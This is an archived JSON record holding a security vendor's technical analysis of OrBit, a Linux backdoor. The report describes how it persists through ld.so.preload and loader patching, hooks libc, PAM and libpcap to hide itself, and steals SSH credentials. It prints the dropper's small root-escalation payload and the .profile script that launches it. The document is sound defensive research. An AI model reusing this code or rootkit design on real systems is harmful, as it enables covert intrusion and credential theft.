{
	"id": "9272de68-e473-41ea-9794-f263d7336942",
	"created_at": "2026-04-06T00:18:05.34677Z",
	"updated_at": "2026-04-10T03:20:54.269349Z",
	"deleted_at": null,
	"sha1_hash": "f464da1a45661e502a4a04d2ec8e7982eba9dc28",
	"title": "OrBit: New Undetected Linux Threat Uses Unique Hijack of Execution Flow",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 346437,
	"plain_text": "OrBit: New Undetected Linux Threat Uses Unique Hijack of\r\nExecution Flow\r\nBy Nicole Fishbein\r\nPublished: 2022-07-06 · Archived: 2026-04-05 17:31:26 UTC\r\nLinux is a popular operating system for servers and cloud infrastructures, and as such it’s not a surprise that it\r\nattracts threat actors’ interest and we see a continued growth and innovation of malware that targets Linux, such as\r\nthe recent Symbiote malware that was discovered by our research team.\r\nIn this blog we will provide a deep technical analysis of a new and fully undetected Linux threat we named\r\nOrBit, because this is one of the filenames that is being used by the malware to temporarily store the output of\r\nexecuted commands. It can be installed either with persistence capabilities or as a volatile implant. The malware\r\nimplements advanced evasion techniques and gains persistence on the machine by hooking key functions,\r\nprovides the threat actors with remote access capabilities over SSH, harvests credentials, and logs TTY\r\ncommands. Once the malware is installed it will infect all of the running processes, including new processes, that\r\nare running on the machine.\r\nUnlike other threats that hijack shared libraries by modifying the environment variable LD_PRELOAD, this\r\nmalware uses 2 different ways to load the malicious library. The first way is by adding the shared object to the\r\nconfiguration file that is used by the loader. The second way is by patching the binary of the loader itself so it will\r\nload the malicious shared object.\r\nTechnical Analysis\r\nThe OrBit Dropper\r\nThe dropper sample on VT 67048a69a007c37f8be5d01a95f6a026\r\nThe dropper installs the payload and prepares the environment for the malware execution. The malware can be\r\ninstalled as a volatile module or with persistence capabilities. It receives command line arguments and based on\r\nthem it extracts the payload to one of the locations. Using the command line arguments the installation path can be\r\nhttps://www.intezer.com/blog/incident-response/orbit-new-undetected-linux-threat/\r\nPage 1 of 8\n\nswapped and the content of the payload can be updated or entirely uninstalled. From here on in the report, we will\r\nsimply use “MALWARE_FOLDER” as referring to the location where the malware has been installed.\r\nTo install the payload and add it to the shared libraries that are being loaded by the dynamic linker, the dropper\r\ncalls a function called patch_ld. First, it reads the symbolic link of the dynamic linker /lib64/ld-linux-x86-\r\n64.so.2 and checks if the malicious payload is already loaded by searching for the path used by the malware. If it\r\nis found the function can swap it with the other location. Otherwise, it looks for /etc/ld.so.preload and\r\nreplaces it with a symbolic link to the location of malicious library: /lib/libntpVnQE6mk/.l or\r\n/dev/shm/ldx/.l (depending on the on the argument passed to the dropper). Lastly, it will append\r\n/etc/ld.so.preload to the end of the temp file to make sure that the malicious library will be loaded first. \r\nBefore it loads the malicious library to the dynamic linker, the dropper makes sure to save a copy of the legitimate\r\ndynamic linker into MALWARE_FOLDER/.backup_ld.so so it if needed it can restore the environment and to use the\r\nlegitimate data to hide the malware (more about in the next section).\r\nThe preparation of the environment is achieved by setting a unique group ID (GID) to the path that is used by the\r\nmalware. In the sample we analyzed the value is 0xE0B2E, the same GID will be used by the payload. In\r\naddition, the dropper copies python (from /usr/bin/python) to the \r\nMALWARE_FOLDER and creates 4 additional files that will be used by the malware:\r\n /lib/libntpVnQE6mk/.logpam\r\n /lib/libntpVnQE6mk/sshpass.txt\r\n /lib/libntpVnQE6mk/sshpass2.txt\r\n /lib/libntpVnQE6mk/.ports\r\nAnd the dropper writes the following 2 files, to grant the threat actors remote access.\r\nThe payload below is saved in MALWARE_FOLDER/bin/escalator\r\nimport os\r\nos.setreuid(0,0)\r\nos.execv(\"/bin/bash\", (\"/bin/bash\", \"-i\"))\r\nThe payload below is saved in MALWARE_FOLDER/.profile\r\n#!/bin/bash\r\nif [ \"$(id -u)\" -ne 0 ] ; then\r\n echo \"Welcome to $(hostname). You are GID $(id -g), UID $(id -u) and about to be escalated to UID 0.\"\r\n exec ~/bin/python ~/bin/escalator\r\nfi\r\nThe OrBit Payload\r\nhttps://www.intezer.com/blog/incident-response/orbit-new-undetected-linux-threat/\r\nPage 2 of 8\n\nThe payload sample on VT ac89d638cb6912b58de47ac2a274b2fb\r\nThe payload is a shared object (.SO file) that can be placed either in persistent storage, for example\r\n/lib/libntpVnQE6mk/ , or in shim-memory under /dev/shm/ldx/ . If it’s placed in the first path the malware will\r\nbe persistent, otherwise it is volatile. \r\nThe shared object hooks functions from 3 libraries: libc, libcap and Pluggable Authentication Module (PAM).\r\nExisting processes that use these functions will essentially use the modified functions, and new processes will be\r\nhooked with the malicious library as well, allowing the malware to infect the whole machine and harvest\r\ncredentials, evade detection, gain persistence and provide remote access to the attackers. \r\nWhen implementing the hooking of libc functions it first calls syscall with the corresponding system call number\r\nas can be seen in the screenshot below. Strings are obfuscated with simple XOR with a hardcoded key.\r\nHooked stat function in the malware\r\nSSH connection\r\nhttps://www.intezer.com/blog/incident-response/orbit-new-undetected-linux-threat/\r\nPage 3 of 8\n\nOne of the capabilities of the malware is to set up a remote connection on the machine, it hooks 3 functions in the\r\nPluggable Authentication Module library: pam_open_session, pam_authenticate and pam_acct_mgmt. By\r\nhooking these functions the malware is capable of stealing information from SSH connections and providing\r\nremote access to the attackers and hiding the network activity. \r\nWhen the hooked pam_authenticate is called it checks if the user name and the password equal to hardcoded\r\nvalues, and if that’s the case it will log the port that is used for the connection in /lib/libntpVnQE6mk/.ports and\r\nopen the SSH connection. In other cases, it will check if the file \r\n/lib/libntpVnQE6mk/.logpam exists (in the sample we analyzed it was created by the dropper) and if so it will log\r\nthe credentials to a file /lib/libntpVnQE6mk/sshpass.txt. Essentially the first file serves as a flag. \r\nOrBit’s evasion techniques \r\nTo evade detection the malware hooks multiple functions to prevent them from outputting information that might\r\nreveal the existence of the malicious shared library in the running processes or the files that are being used by the\r\nmalware. The malware uses a hardcoded GID value (the one set by the dropper) to identify the files and processes\r\nthat are related to the malware and based on that it will manipulate the behavior of the hooked functions. For\r\nexample, readdir is hooked to check the GID of the calling process, if it doesn’t match the hardcoded value, all of\r\nthe directories with the predefined GID value will be omitted from the function’s output. \r\nCall getgid system call to check the GID of the process\r\nThe malware hooks functions that open files: fopen, open, open64, and openat and checks if the file that was\r\nprovided to the relevant open function is part of the proc file system. One of the paths that is being checked is\r\n/proc/net/tcp as it can disclose the network traffic generated by the backdoor. The way in which the malware\r\nhandles the output of this file is similar to other files that are being opened and resembles the implementation in\r\nSymbiote. The hooked function reads the content of the file and compares the content, one line at a time to the\r\ncontent of MALWARE_FOLDER/.ports which holds the information about port and addresses used by the\r\nmalware. The malware creates a temp file and writes only the lines that don’t expose the malware. Once the file\r\nhas proceeded, the malware returns the file descriptor to the temp file to the caller. \r\nThe following file paths show the currently mapped memory regions and their access permissions: \r\n/proc/%PID%/maps\r\nhttps://www.intezer.com/blog/incident-response/orbit-new-undetected-linux-threat/\r\nPage 4 of 8\n\n/proc/%PID%/smaps \r\n/proc/%PID%/numa_maps\r\nWhen a process accesses one of these files it may disclose the shared library, therefore the hooked open functions\r\nverify that the output doesn’t contain a path to the directory used by the malware, in a similar way as described\r\nabove.\r\nAnother file in the proc filesystem that is being checked is /proc/loadavg. This file is used by utilities such as\r\nuptime, it provides information about the CPU usage and the status of currently running processes. The malware\r\nwill process the information from this file in a similar way as the previous files.\r\nThe malware hooks execve to evade detection of certain utilities, control the behavior of processes and to maintain\r\nits persistence by infecting new processes. The hooking logic checks the process name and path and compares it to\r\ndifferent usulites in /bin, /usr and /sbin.\r\nThe hooked execve function is used by the malware to hide the network activity, the malware checks if the new\r\nprocess is ip or iptables utility (it checks both the /usr/sbin and /sbin) it will first execute the command and pipe\r\nthe output to a local buffer where it will inspect the records and check if there is a match between the records and\r\nthe information stored in MALWARE_FOLDER/.net or MALWARE_FOLDER/.fw – the record will be omitted\r\nfrom the command’s output.\r\nWhen execve is called with dmesg the malware omits records that are equal to the records in\r\nMALWARE_FOLDER/.sys/.dmesg, and records that contain one of the following keywords: zapping, tcpdump,\r\npromiscuous, libntpVnQE6mk, libdl.so.\r\nexecve checks if the function was called with the environment variable LD_TRACE_LOADED_OBJECTS, when\r\nthis variable is set causes the program to list its\r\ndynamic dependencies. The malware saves the original (unpatched) dynamic linker in a backup file, so when\r\nexecve is called with this variable the output that will be presented is as if the legitimate dynamic linker was called\r\nand it will not list the malicious library. Essentially the following command is being executed:\r\nMALWARE_FOLDER/.backup_ld --list %s\r\nStrace is another utility that is being examined by the hooked execve. Because the output of strace can reveal the\r\nmalicious library as one of the libraries that is being loaded by a traced process. Strace can be executed with the -o\r\nflag that specifies a file path to which the output will be piped, if it’s not set in the command the malware will\r\nwrite the output of strace to /tmp/.orbit. Similar to other utilities, the malware executes the command and gets the\r\nresult from the output file. Next it omits records that contain the symlink one of the following: the malicious\r\nlibrary (MALWARE_FOLDER/.l), the GID which is used by the malware (920366) and its folder path.\r\nhttps://www.intezer.com/blog/incident-response/orbit-new-undetected-linux-threat/\r\nPage 5 of 8\n\nAchieving Persistence \r\nThe malware uses two methods to achieve persistence. The reason the malware uses both of the methods is to\r\nmake it hard removing the malware from an infected machine while it’s running. The first method adds the path to\r\nthe malware into the /etc/ld.so.preload configuration file. This instructs the loader that the malware should be\r\nloaded first and for all new processes. In the case this method is prevented by, for example removing the\r\nconfiguration file on the infected machine, the malware has its second method which is achieved by patching the\r\nloader binary.\r\nThe malware first makes a copy of the loader’s binary so it can patch it. It performs a simple search in the binary\r\nfor the string “/etc/ld.so.preload”. Once it’s found, it replaces the string to a path to a file within the\r\n%MALWARE_FOLDER%. The content of this file has the path to the malware library to act as a ld.so.preload\r\nconfiguration file. This means when the patch loader is executed, it uses the file in the %MALWARE_FOLDER%\r\ninstead under “/etc”. The malware author has set up these two methods to act as catches in the case one of them\r\ngoes away. For example, if an administrator wants to stop the malware from being loaded by removing the\r\nconfiguration file under “/etc” so the hidden files can be revealed, the patched loader who doesn’t use this file,\r\nwill just load the malware who will recreate the configuration file. If the administrator instead overwrites the\r\npatched loader with a clean version, the clean loader loads the malware from the “ld.so.preload” configuration file\r\nwhich repatches the loader.\r\nInformation Stealing\r\nThe backdoor hooks the read and write functions to log data that is being written by the executed processes on\r\nthe machine. The backdoor checks the flag: sniff_ssh_session that defines whether any call to write will be logged\r\nor only processes executed with sudo or ssh sessions. Appears that the functionality of the flag doesn’t reflect the\r\nactual flow of the write function – when the flag is set to false the hooked function checks if the process was\r\nexecuted with sudo or if the calling process is ssh and logs the buffer that was passed to the original write\r\nhttps://www.intezer.com/blog/incident-response/orbit-new-undetected-linux-threat/\r\nPage 6 of 8\n\nfunction, the data is stored at: MALWARE_FOLDER/sshpass2.txt. Otherwise when the flag is set to true, the\r\nbuffer is logged to MALWARE_FOLDER/sniff.txt without verification of the calling process name. Once the\r\nhooked function is done it will return the return value of the original function call. \r\nChecking the flag sniff_ssh_session.\r\nFor bash and sh processes that call execve the hook will log the path argument that holds the path to the file that\r\nwill be executed as a new process, the hooked function will append a timestamp and the full path and write the\r\ninformation into MALWARE_FOLDER/execlog.\r\nNetwork Capabilities\r\nThe backdoor hooks function from the libpcap library to hide network activity. If hooks bind and connect\r\nfunctions to log the ports that are being used by processes with the malwar’s gid, the ports are being written to\r\nMALWARE_FOLDER/.ports. The content of this file is used by the backdoor to manage the ports that are being\r\nused in sessions that were opened by the activity of the backdoor. When a new SSH session is created the port and\r\nIP address is being written to the file.\r\nThe malware hooks the pcap_loop function and pcap_packet_callback to filter out the traffic of the backdoor. To\r\naccomplish this task the hooked pcap_packet_callback omits ports that are in MALWARE_FOLDER/.ports as it\r\ncontains all of the ports used by the backdoor.\r\nComparing to other Linux threats\r\nWhile it’s common for malware to hook functions, the usual technique is by loading a shared library using\r\nLD_PRELOAD – that was the case for Symbiote, HiddenWasp and other threats.\r\nThis malware uses XOR encrypted strings and steals passwords – similar to other Linux backdoors reported by\r\nESET. But unlike other threats, this malware steals information from different commands and utilities and stores\r\nthem in specific files on the machine. Besides, there is an extensive usage of files for storing data, something that\r\nwas not seen before. \r\nWhat makes this malware especially interesting is the almost hermetic hooking of libraries on the victim machine,\r\nthat allows the malware to gain persistence and evade detection while stealing information and setting SSH\r\nhttps://www.intezer.com/blog/incident-response/orbit-new-undetected-linux-threat/\r\nPage 7 of 8\n\nbackdoor.\r\nConclusion\r\nThreats that target Linux continue to evolve while successfully staying under the radar of security tools, now\r\nOrBit is one more example of how evasive and persistent new malware can be.\r\nI want to thank Joakim Kennedy for his contribution to this research.\r\nIoCs\r\nSource: https://www.intezer.com/blog/incident-response/orbit-new-undetected-linux-threat/\r\nhttps://www.intezer.com/blog/incident-response/orbit-new-undetected-linux-threat/\r\nPage 8 of 8",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://www.intezer.com/blog/incident-response/orbit-new-undetected-linux-threat/"
	],
	"report_names": [
		"orbit-new-undetected-linux-threat"
	],
	"threat_actors": [],
	"ts_created_at": 1775434685,
	"ts_updated_at": 1775791254,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/f464da1a45661e502a4a04d2ec8e7982eba9dc28.pdf",
		"text": "https://archive.orkl.eu/f464da1a45661e502a4a04d2ec8e7982eba9dc28.txt",
		"img": "https://archive.orkl.eu/f464da1a45661e502a4a04d2ec8e7982eba9dc28.jpg"
	}
}